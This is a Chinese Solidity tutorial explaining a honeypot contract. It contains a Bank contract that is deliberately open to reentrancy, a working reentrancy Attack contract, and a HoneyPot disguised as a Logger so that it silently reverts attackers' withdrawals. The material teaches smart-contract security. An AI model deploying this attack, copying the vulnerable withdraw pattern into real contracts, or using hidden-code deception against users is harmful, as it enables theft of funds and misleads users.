欢迎订阅专栏 :3分钟Solidity--智能合约--Web3区块链技术必学
如需获取本内容的最新版本,请参见 Cyfrin.io 上的Honeypot(代码示例)
蜜罐是一种用于诱捕黑客的陷阱。
漏洞
通过结合重入攻击和隐藏恶意代码这两种漏洞利用方式,我们可以构建一个能捕获恶意用户的合约。
scss
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
/*
银行是一个调用Logger来记录事件的合约。
Bank.withdraw()函数容易受到重入攻击。
因此,黑客试图从银行中耗尽以太币。
但实际上,这个重入漏洞是给黑客设下的诱饵。
通过部署用HoneyPot替代Logger的Bank合约,这个合约就变成了
黑客的陷阱。让我们看看它是如何运作的。
1. 爱丽丝部署了蜜罐
2. 爱丽丝部署了银行合约,地址指向蜜罐
3. 爱丽丝向银行存入1个以太币
4. 伊芙发现银行合约的withdraw函数存在重入漏洞,决定发起攻击
5. 伊芙部署攻击合约,地址指向银行
6. 伊芙调用Attack.attack()并转入1个以太币,但交易失败
发生了什么?
伊芙调用Attack.attack()后,开始从银行合约提取以太币
当最后一次Bank.withdraw()即将完成时,它调用了logger.log()
Logger.log()调用了HoneyPot.log()并回滚了交易,导致交易失败
*/
contract Bank {
mapping(address => uint256) public balances;
Logger logger;
constructor(Logger _logger) {
logger = Logger(_logger);
}
function deposit() public payable {
balances[msg.sender] += msg.value;
logger.log(msg.sender, msg.value, "Deposit");
}
function withdraw(uint256 _amount) public {
require(_amount <= balances[msg.sender], "Insufficient funds");
(bool sent,) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
logger.log(msg.sender, _amount, "Withdraw");
}
}
contract Logger {
event Log(address caller, uint256 amount, string action);
function log(address _caller, uint256 _amount, string memory _action)
public
{
emit Log(_caller, _amount, _action);
}
}
// 黑客试图通过重入攻击耗尽银行中存储的以太币。
contract Attack {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
fallback() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}
function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
// 假设这段代码放在一个单独的文件中,这样其他人就无法读取它了。
contract HoneyPot {
function log(address _caller, uint256 _amount, string memory _action)
public
{
if (equal(_action, "Withdraw")) {
revert("It's a trap");
}
}
// 使用keccak256比较字符串的函数
function equal(string memory _a, string memory _b)
public
pure
returns (bool)
{
return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
}
}